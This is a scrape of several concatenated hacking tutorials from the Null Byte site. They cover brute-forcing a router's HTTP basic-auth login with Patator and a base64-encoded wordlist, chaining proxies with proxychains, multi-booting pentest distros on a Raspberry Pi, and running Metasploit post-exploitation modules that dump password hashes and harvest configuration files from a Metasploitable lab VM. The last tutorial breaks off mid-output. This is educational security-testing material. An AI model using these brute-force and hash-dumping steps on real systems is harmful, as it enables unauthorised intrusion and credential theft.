admin:passwordThe username and password are concatenated into a single string and encoded. This authentication method is calledbasic HTTP authentication. It should only be used with HTTPS, as an attacker on the network can easily capture the credentials in transit.Step 3: Modify & Save the Raw RequestWith the username and password parameters identified, the raw request is modified to include the Patator placeholder ("FILE0") and saved to a local file.Right-click inside the window and select the "Copy to file" option. Save it to the /tmp directory with the "router_request.txt" filename.Step 4: Generate a Targeted WordlistNow that we know the kind of authentication parameter being used, a wordlist can be generated specific to the router. Again, Patator has a built-in feature to encode passwords, but string manipulation with Bash is a good skill to learn. It can be applied to other brute-forcing tools, for example.Download ageneric wordlistfor testing purposes. Use the belowwgetcommand to download my wordlist generated by analyzingleaked databases.~# wget 'https://git.io/fhhvc' -O /tmp/wordlist.txtThe below Bash one-liner will use awhileloop to iterate through the passwords in the wordlist. Each password will be concatenated into a single string with the username and password converted into base64. All of the encoded strings are appended to the /tmp/base64_wordlist.txt file.~# while read password; do printf "admin:$password" | base64; done < /tmp/wordlist.txt >>/tmp/base64_wordlist.txtThe encoded passwords can be verified using the belowheadcommand to print the first ten lines of the file.~# head /tmp/base64_wordlist.txt
YWRtaW46MTIzNDU2
YWRtaW46QWJjZGVmMTIz
YWRtaW46YTEyMzQ1Ng==
YWRtaW46bGl0dGxlMTIz
YWRtaW46bmFuZGEzMzQ=
YWRtaW46Tjk3bm9raWE=
YWRtaW46cGFzc3dvcmQ=
YWRtaW46UGF3ZXJqb24xMjM=
YWRtaW46NDIxdWlvcHkyNTg=
YWRtaW46TVl3b3JrbGlzdDEyMw==Step 5: Identify & Filter Failed RequestsThe router's gateway can be brute-forced with Patator using the router_request.txt and base64_wordlist.txt files. Remember, while in progress, Patator can be stopped at any time by pressingControl-Con the keyboard.~# patator http_fuzz raw_request=/tmp/router_request.txt accept_cookie=1 follow=1 0=/tmp/base64_wordlist.txt -l /tmp/N300
code size:clen time | candidate | num | mesg
-----------------------------------------------------------------------------
401 508:-1 0.006 | YWRtaW46MTIzNDU2 | 1 | HTTP/1.0 401 Unauthorized
401 508:-1 0.023 | YWRtaW46MTIzNDU2Nzg= | 11 | HTTP/1.0 401 Unauthorized
401 508:-1 0.022 | YWRtaW46Y2h1cnUxMjNB | 21 | HTTP/1.0 401 Unauthorized
401 508:-1 0.023 | YWRtaW46QWJjZGVmMTIz | 2 | HTTP/1.0 401 Unauthorized
401 508:-1 0.024 | YWRtaW46cXdlcnR5 | 12 | HTTP/1.0 401 Unauthorized
401 508:-1 0.007 | YWRtaW46YTEyMzQ1Ng== | 3 | HTTP/1.0 401 Unauthorized
401 508:-1 0.024 | YWRtaW46bmtzMjMwa2pzODI= | 13 | HTTP/1.0 401 Unauthorized
401 508:-1 0.024 | YWRtaW46bGl0dGxlMTIz | 4 | HTTP/1.0 401 Unauthorized
401 508:-1 0.025 | YWRtaW46bmFuZGEzMzQ= | 5 | HTTP/1.0 401 Unauthorized
401 508:-1 0.026 | YWRtaW46enhjdmJubQ== | 15 | HTTP/1.0 401 Unauthorized
401 508:-1 0.023 | YWRtaW46Tjk3bm9raWE= | 6 | HTTP/1.0 401 UnauthorizedHTTP status codes are split into several categories or "classes." The first digit defines the categories, and the following digits are subcategories specific to different types of error messages. For example, the 4xx categories are a class of errors specific to HTTP requests that cannot be fulfilled by the web server, like trying to view a webpage that doesn't exist. That's defined as a status "404 Not Found," probably one of the most well-known status codes on the internet.We immediately notice a ton of 401 status codes in the Patator output, which are clear indications of a failed login requests. These are omitted from the output using the-x ignore:code=401option and argument.~# patator http_fuzz raw_request=/tmp/router_request.txt -x ignore:code=401 accept_cookie=1 follow=1 0=/tmp/base64_wordlist.txt -l /tmp/N300
code size:clen time | candidate | num | mesg
-----------------------------------------------------------------------------
200 622:-1 0.017 | YWRtaW46cGFzc3dvcmQ= | 7 | HTTP/1.0 200 OKThis time, we received only one request with the 200 status code. The size of the response is 622 bytes, more than that of a failed 401 response. It's a good sign. The login credentials are decoded using the following command.~# printf 'YWRtaW46cGFzc3dvcmQ=' | base64 -d
admin:passwordHow to Protect Yourself from Router Gateway AttacksRegularly updating the firmware will help prevent against exploits andRoutersploitattacks. A strong (non-default) password will prevent brute-force attacks performed with Patator.Update the firmware. Router manufacturers often issue bug and exploit patches. It's important to keep the router firmware up to date and have it check for updates automatically if possible.Disable remote administration. Some consumer routers allow for remote access by default. Without knowing it, hackers may find your router on Shodan and seize control of it.WPA2 encryption. Only use WPA2 encryption. Weaker encryption options like WEP will leave the router extremely vulnerable to attackers.Change default passwords. Never use the default credentials. In addition to the WPA2 pre-shared key, the admin portal (router gateway) should also be protected by a strong password. It's the only defensive measure preventing an attacker from discovering default credentials and modifying sensitive settings.Disable WPS. WPS is featured in most consumer routers and designed to make password-less authentication more convenient. Unfortunately, the feature is usually enabled by default and easily exploited by hackers.Be persistent. Change your Wi-Fi password every few months. It's a pain to update the Wi-Fi password for every device on the network, but this tactic will keep hackers guessing — literally. If a hacker has captured the WPA2 handshake and spends several weeks trying to crack the password, changing it will render the captured handshake useless.Unfortunately, none of the routers I tested support HTTPS when authenticating the admin settings. So an attacker on the network inspecting traffic will be able to passively discover the login password — even if it's a totally random 42-character password.Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHow To:Perform Network-Based Attacks with an SBC ImplantHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebNetworking Foundations:Basic IP Addressing (Part 2)Hacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Access your wireless router from a Windows PCHow To:Configure a computer wireless routerHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Open your NAT and improve your Xbox live connectionHow To:Keep Comcast from Using Your Router as a Wi-Fi HotspotHow To:Bypass your router to access your serverHow To:Hook Web Browsers with MITMf and BeEFHow To:Unblock American Hulu, Netflix, & More on Chromecast in Other CountriesHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsHow To:Run a Free Web Server From Home on Windows or Linux with ApacheNews:Build Your Own Lego RouterHow To:Hack Wireless Router Passwords & Networks Using HydraNews:pfSense Enterprise Open Source Firwall & RouterMastering Security, Part 2:How to Create a Home VPN TunnelHow To:How The Internet Works |
How to Chain Proxies to Mask Your IP Address and Remain Anonymous on the Web « Null Byte :: WonderHowTo | Aproxyis a server that lets a client to connect to it and forward its traffic. This enables a certain "layer" of protection by masking yourIP. AnIP addresscan be used to learn your location and track you on the Internet, thus eliminating any form of anonymity that you may have.Now, I'm a strong believer that people should be allowed to remain anonymous on the Web. I don't like that sites need to track how many hours a day I spend watching YouTube, or how I do my online banking, especially with every company crumbling under the fingers of feds when they ask for any form of information. So your personal data is just out there, in untrustworthy hands because they're just as corrupt as everyone else.Proxy Chainsis a cool tool that allows you to chain multiple proxies to connect to each other and then wrap your program of choice and connect to the Internet. This masks your IP with many layers and can be a good tool when practicing anonymity.In thisNull Byte, we're going to be using the tool Proxy Chains to link proxies and use it on the Firefox web browser to mask our IP and maintain our anonymity with a nice vTutorial. This applies to Mac and Linux operating systems.Step1Download Proxy ChainsFirst, we need todownload the Proxy Chains tooland install it before we start the video. Open a terminal for the following commands.Enter this command to extract the package:sudo tar -zxvf <package name>Now change directories and configure:cd <proxychains directory> && ./configureCompile the Proxy Chains source code:sudo makeInstall Proxy Chains:sudo make installStep2Configure and Use Proxy ChainsNow time for the video portion of this tutorial...Please enable JavaScript to watch this video.Commands in the Videonano proxychains.confAdd proxies to the configuration file (get proxies withthis)proxychains curl -s http://checkips.dyndns.orgTo run Firefox through it, run:proxychains firefoxThat will wrap around Firefox's connection and run it through the chain. If your IP has changed, congratulations!Come visit us onTwitterandIRC!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byTHERKDRelatedHack Like a Pro:How to Evade Detection Using ProxychainsHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableHow To:Bypass School Internet Filters to Unblock WebsitesSPLOIT:How to Make a Proxy Server in PythonNews:Reality of VPNs, Proxies, and TorHacker Fundamentals:A Tale of Two StandardsHow To:Use a proxy and understand why they are importantHow To:Use a proxy with Firefox to hide your IP addressHow To:Understand & Use IPv4 to Navigate a NetworkHow To:Hide Your IP Address with a Proxy ServerHow To:Inside Bitcoin - Part 1 - Bitcoin and AnonymityNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Chain VPNs for Complete AnonymityHow To:Bypass a Local Network Proxy for Free InternetHow To:Assign a Static IP Address in Windows 7How To:Hide your IP address using IP Hider 4.0How To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Become Anonymous on the Internet Using TorHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow to Become Anonymous Part 1:Avoid IP Leaks for the Anonymity SakeAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Bypass DansGuardian in Chrome, Firefox & Internet ExplorerHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block It |
How to Boot Multiple Operating Systems on the Raspberry Pi with BerryBoot « Null Byte :: WonderHowTo | TheRaspberry Piloads an operating system from whatever SD card you insert, allowing you to keep different operating systems on separate SD cards depending on which OS you wish to run. A tool called BerryBoot cuts down on the number of SD cards needed by providing the ability to boot multiple operating systems from a single SD card, similar to Boot Camp for Mac computers.With BerryBoot, a single 32 GB SD card can hold multiple penetration testing tools and distros. Even handier, BerryBoot can configure the Pi to use anexternal hard driveorUSB thumb driveas the source to boot from, meaning any hacker can burn a custom bootable USB stick with multiple operating systems ready to boot.Loading Raspbian,Parrot OS, orKaliis as simple as selecting which to boot each time you start your Pi. Being able to switch from Kali Linux to Parrot OS with a simple reboot is awesome, and today we'll go over how to use and install BerryBoot.Don't Miss:Get Started with Parrot Security OS, a Modern Pentesting DistroWhy Use Different Operating SystemsThere are many reasons why a hacker may want to pick from a variety of operating systems when planning an action. Different operating systems come with different community support and tools, and traditionally, a virtual machine is used to test or use different operating systems.The Raspberry Pi can support a broad number of operating systems besides Raspbian, including Kali Linux,BlackArch Linux, Parrot OS, and other pen-testing distros.All these cards can be condensed to one large storage drive.Image by SADMIN/Null ByteDon't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliBoot from a USB Flash Drive Instead of the SD CardThanks to an open-source project to develop BerryBoot images, there is now a growing collection of security auditing images for the Pi that can be added to a USB stick. Today, we will go over how to set up BerryBoot on an SD card, but I'll provide a follow-up tutorial on how to do so with aUSB stickpreloaded with a custom Null Byte image of offensive security distros and deliberately vulnerable test images.Many different operating systems all on a single USB flash drive.Image by SADMIN/Null ByteWhat You'll NeedRaspberry Pi(BerryBoot will run on thePi 2,3,3 B+,Zero, andZero W)32 to 64 GB SD card(although I've done it with a 16 GB one, too)power sourceandHDMI connectionUSB keyboard/mouse interfacelaptop to load files on the SD cardSD card adapterfiles fromBerry TerminalIf you like hacking kits that make life easier, you can also purchase most of these things together fromCanaKit.On Amazon:CanaKit Raspberry Pi 3 Complete Starter Kit - 32 GB EditionStep 1: Download BerryBoot & Prepare SD CardThanks toBerryTerminal, you can download the following BerryBoot files at the links below.BerryBoot for the original Raspberry Pi, Pi Zero, Pi 2, and Pi 3 (53 MB)BerryBoot for the quad-core Raspberry Pi 2, and Pi 3 only (36 MB)Download the ZIP file, and insert the SD card you intend to use into your computer using an SD card adapter. You'll need to format it to FAT32. You can do this with Disk Utility on a Mac. Select the inserted SD card, hit "Erase," and for the file format, select "MS-DOS FAT," and click "Erase" again.On Windows, you can format an external hard drive to FAT 32 by using DOS. PressWin+R, typecmdin the search box. It will display you the command prompt. Input the syntaxformat /FS:FAT32 F:at the prompt if F is the drive letter of your external hard drive. Hit enter and the task will run.Once the process is complete, unzip the BerryBoot ZIP you downloaded and move the contents of the folder you extracted to the newly erased SD card. Eject the SD card and put it into your Pi.These initial files will boot the Pi for the first time and set configuration settings on the first run. Once the first run is complete, you will have the option of downloading different OS images from a wired or wireless internet connection.Step 2: BerryBoot First RunOn your first run, you will see a rainbow for a few seconds. Don't panic! After hanging for a moment, BerryBoot will start up and ask some basic configuration questions about your system. Once these variables are set, BerryBoot will start.After the configuration has been set, you'll be able to select which drive you'd like to install the operating system to. For now, select the SD card, as whatever device you choose to boot from will need to be plugged in each time you boot the Pi for it to work. Once you select the SD card, leave the default setting ofext4and click "Format."Step 3: Booting Your Installed Operating SystemNow you're ready to select the operating systems you want to load. For now, select "Kali Lite" and make sure you're connected to the internet. The "connection" bar at the bottom will show you what network you're connected to. Click "OK" to begin downloading the selected OS.The download can take a long time on a slow connection. Once it's finished, you should see Kali Lite in your list of installed operating systems. Exit to close the configuration window and use the OS you just downloaded.Step 4: Boot Your Installed OSAfter initially booting to BerryBoot, Kali Linux will be auto-selected as the OS to boot. Once a quick timeout completes, you'll boot into Kali Linux on your Pi! The default credentials for logging in arerootandtoor, as always.You can now download other operating systems onto your BerryBoot SD card to easily swap between systems when needed. Stay tuned for custom BerryBoot images and a tutorial on installing to a USB thumb drive. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:More Raspberry Pi Hacking Guides on Null ByteFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesRaspberry Pi:Hacking PlatformHow To:Build a Portable Pen-Testing Pi BoxHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WRaspberry Pi:Physical Backdoor Part 1Open Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Create a Wireless Spy Camera Using a Raspberry PiHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyRaspberry Pi:Physical Backdoor Part 2How To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgRasberry Pi:IntroductionHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)News:This Guy Built an Impressive Smart Mirror Controlled by Gestures & VoiceNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensNews:Virtualization Using KVMHow To:Give Your GRand Unified Bootloader a Custom ThemeHow To:Run Windows from Inside LinuxHow To:Install Linux to a Thumb DriveHow To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordHow To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin Tins |
How to Quickly Gather Target Information with Metasploit Post Modules « Null Byte :: WonderHowTo | Post-exploitation information gathering can be a long and drawn-out process, but it is an essential step when trying topivotor establishadvanced persistence. Every hacker should know how to enumerate a target manually, but sometimes it is worth it to automate the process.Metasploitcontains post modules that can quickly gather valuable information about a target, saving both time and effort.In the previous tutorial,we used Metasploit's local exploit suggester to get rooton the target. To use post modules, we need to have a Meterpreter session running. These modules will run as any user to some extent, but having root-level access is ideal as it allows us unrestricted access to the system.Previously:Get Root with Metasploit's Local Exploit SuggesterWhat Information Is Most Valuable to an Attacker?It has been said time and time again thatreconnaissanceis one of the most critical phases of an attack. It applies to not only the initial preparation for an attack, but also the post-exploitation stage. Successful mining of information after a target is compromised can lead tolonger persistenceandexploitation of additional machines.Some of the most valuable information to an attacker includes things likepassword hashes,credentials, and anyother sensitive datathat could be abused. Other items of interest are network configurations, system configurations, and config files of standard software likely to be found on the system. Checking what defenses are in place, such asantivirusor firewall rules, is also a smart move.Module 1: HashdumpTo get started, from the main prompt in Metasploit, use thesessionscommand to display the current sessions running in the background:msf5 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)
2 meterpreter x86/linux uid=1, gid=1, euid=1, egid=1 @ metasploitable.localdomain 10.10.0.1:4433 -> 10.10.0.50:32979 (10.10.0.50)
3 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain 10.10.0.1:4321 -> 10.10.0.50:56950 (10.10.0.50)Session 3 is ideal here since it is running as root; this is the Meterpreter session we obtained in the previous tutorial, but any root session will suffice.To see the available post modules, we can start by typing the full path and quickly pressingTabtwice to see theautocomplete options:msf5 > use post/linux/gather/
use post/linux/gather/checkcontainer use post/linux/gather/enum_network use post/linux/gather/enum_xchat use post/linux/gather/openvpn_credentials
use post/linux/gather/checkvm use post/linux/gather/enum_protections use post/linux/gather/gnome_commander_creds use post/linux/gather/phpmyadmin_credsteal
use post/linux/gather/ecryptfs_creds use post/linux/gather/enum_psk use post/linux/gather/gnome_keyring_dump use post/linux/gather/pptpd_chap_secrets
use post/linux/gather/enum_commands use post/linux/gather/enum_system use post/linux/gather/hashdump use post/linux/gather/tor_hiddenservices
use post/linux/gather/enum_configs use post/linux/gather/enum_users_history use post/linux/gather/mount_cifs_credsThe first one we will try out is thehashdumpmodule; this will dump the password hashes for all users on the system, which can then be attempted to crack. Even though we already have root on this machine, other credentials can often be used to pivot around the network.Load the module with theusecommand:msf5 > use post/linux/gather/hashdumpWe can then look at theoptionsfor this post module:msf5 post(linux/gather/hashdump) > options
Module options (post/linux/gather/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.The only thing we need to set is the session to run this on. To do so, use thesetcommand and the appropriate session number:msf5 post(linux/gather/hashdump) > set session 3
session => 3Then, simply typerunto launch it:msf5 post(linux/gather/hashdump) > run
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20190619120310_default_10.10.0.50_linux.hashes_719586.txt
[*] Post module execution completedWe can see thehashes for all userson the system now, and it even writes this information to a file for us.Module 2: CheckvmThe next module we will try is thecheckvmmodule; this will attempt to determine whether the target is avirtual machineor not, which can be useful information for specific exploits or attack vectors.Load the module:msf5 post(linux/gather/hashdump) > use post/linux/gather/checkvmAnd take a look at the options:msf5 post(linux/gather/checkvm) > options
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.Again, we only need to set a session number for this module to work. Since our session number won't change going forward, we can use thesetgcommand to set the option globally. That way, we won't have to keep typing in the same thing over and over again.msf5 post(linux/gather/checkvm) > setg session 3
session => 3Typerunto kick it off:msf5 post(linux/gather/checkvm) > run
[*] Gathering System info ....
[+] This appears to be a 'VirtualBox' virtual machine
[*] Post module execution completedWe can see that it determines the target appears to be a VirtualBox virtual machine.Module 3: enum_protectionsThe next one we will try out is theenum_protectionsmodule; this tries to find certain programs on the target that can be used to detect an attack, like antivirus, firewalls, IDS/IPS,network sniffing software, and others.Load the module:msf5 post(linux/gather/checkvm) > use post/linux/gather/enum_protectionsSince we globally set the session option earlier, it is already set for us when we look at the options:msf5 post(linux/gather/enum_protections) > options
Module options (post/linux/gather/enum_protections):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 3 yes The session to run this module on.All we have to do now is run the module:msf5 post(linux/gather/enum_protections) > run
[*] Running module against 10.10.0.50 [metasploitable]
[*] Info:
[*] _ _ _ _ _ _ ____ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) || | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____| |_| Warning: Never expose this VM to an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/msfadmin to get started
[*] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
[*] Finding system protections...
[+] ASLR is enabled
[*] Finding installed applications...
[+] ufw found: /usr/sbin/ufw
[+] iptables found: /sbin/iptables
[+] logrotate found: /usr/sbin/logrotate
[+] tcpdump found: /usr/sbin/tcpdump
[+] aa-status found: /usr/sbin/aa-status
[*] Post module execution completedWe can see it gives us a banner this time, although it is a little disjointed, and information about any system protections in place. It looks like it found some firewall software,tcpdump, and ASLR is enabled; this kind of information can be very valuable when preparing an attack.Module 4: enum_configsThe next module we will try is theenum_configsmodule; this will attempt to find any configuration files for commonly installed software. While this information could be found manually, the module makes it easy to quickly gather everything up all at once.Load the module:msf5 post(linux/gather/enum_protections) > use post/linux/gather/enum_configsAnd run it:msf5 post(linux/gather/enum_configs) > run
[*] Running module against 10.10.0.50 [metasploitable]
[*] Info:
[*] _ _ _ _ _ _ ____ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) || | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____| |_| Warning: Never expose this VM to an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/msfadmin to get started
[*] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
[+] apache2.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_509051.txt
[+] ports.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_670485.txt
[-] Failed to open file: /etc/nginx/nginx.conf: core_channel_open: Operation failed: 1
[-] Failed to open file: /etc/snort/snort.conf: core_channel_open: Operation failed: 1
[+] my.cnf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_055449.txt
[+] ufw.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_162601.txt
[+] sysctl.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_122073.txt
[-] Failed to open file: /etc/security.access.conf: core_channel_open: Operation failed: 1
[+] shells stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_678197.txt
[-] Failed to open file: /etc/security/sepermit.conf: core_channel_open: Operation failed: 1
[-] Failed to open file: /etc/ca-certificates.conf: core_channel_open: Operation failed: 1
[+] access.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_706115.txt
[-] Failed to open file: /etc/gated.conf: core_channel_open: Operation failed: 1
[+] rpc stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_755377.txt
[-] Failed to open file: /etc/psad/psad.conf: core_channel_open: Operation failed: 1
[+] debian.cnf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_345601.txt
[-] Failed to open file: /etc/chkrootkit.conf: core_channel_open: Operation failed: 1
[+] logrotate.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_800174.txt
[-] Failed to open file: /etc/rkhunter.conf: core_channel_open: Operation failed: 1
[+] smb.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_570254.txt
[+] ldap.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_677851.txt
[-] Failed to open file: /etc/openldap/openldap.conf: core_channel_open: Operation failed: 1
[-] Failed to open file: /etc/cups/cups.conf: core_channel_open: Operation failed: 1
[-] Failed to open file: /etc/opt/lampp/etc/httpd.conf: core_channel_open: Operation failed: 1
[+] sysctl.conf stored in /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_441838.txt
[-] Failed to open file: /etc/proxychains.conf: core_channel_open: Operation failed: 1
[-] Failed to open file: /etc/cups/snmp.conf: core_channel_open: Operation failed: 1
[-] Failed to open file: /etc/mail/sendmail.conf: core_channel_open: Operation failed: 1
[-] Failed to open file: /etc/snmp/snmp.conf: core_channel_open: Operation failed: 1
[*] Post module execution completedWe can see it found all kinds of things, like anApacheconfig, sysctl,smb, and others. It also stores each of these files it finds in a directory for later use. For instance, we can view the Apache config by catting out the full path of the file:msf5 post(linux/gather/enum_configs) > cat /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_509051.txt
[*] exec: cat /root/.msf4/loot/20190619121027_default_10.10.0.50_linux.enum.conf_509051.txt
#
# Based upon the NCSA server configuration files originally by Rob McCool.
#
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.2/ for detailed information about
# the directives.
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
# consult the online docs. You have been warned.
#
# The configuration directives are grouped into three basic sections:
# 1. Directives that control the operation of the Apache server process as a
# whole (the 'global environment').
# 2. Directives that define the parameters of the 'main' or 'default' server,
# which responds to requests that aren't handled by a virtual host.
# These directives also provide default values for the settings
# of all virtual hosts.
# 3. Settings for virtual hosts, which allow Web requests to be sent to
# different IP addresses or hostnames and have them handled by the
# same Apache server process.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path. If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "/var/log/apache2/foo.log"
# with ServerRoot set to "" will be interpreted by the
# server as "//var/log/apache2/foo.log".
#
...Module 5: enum_networkThe next module we'll run is theenum_networkmodule; this will gather any network-related information on the target, such as IP addresses, routes, open ports,SSH configs, and DNS information.Load the module:msf5 post(linux/gather/enum_configs) > use post/linux/gather/enum_networkAnd run it:msf5 post(linux/gather/enum_network) > run
[*] Running module against metasploitable.localdomain
[*] Module running as root
[+] Info:
[+] _ _ _ _ _ _ ____ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) || | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____| |_| Warning: Never expose this VM to an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/msfadmin to get started
[+] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
[*] Collecting data...
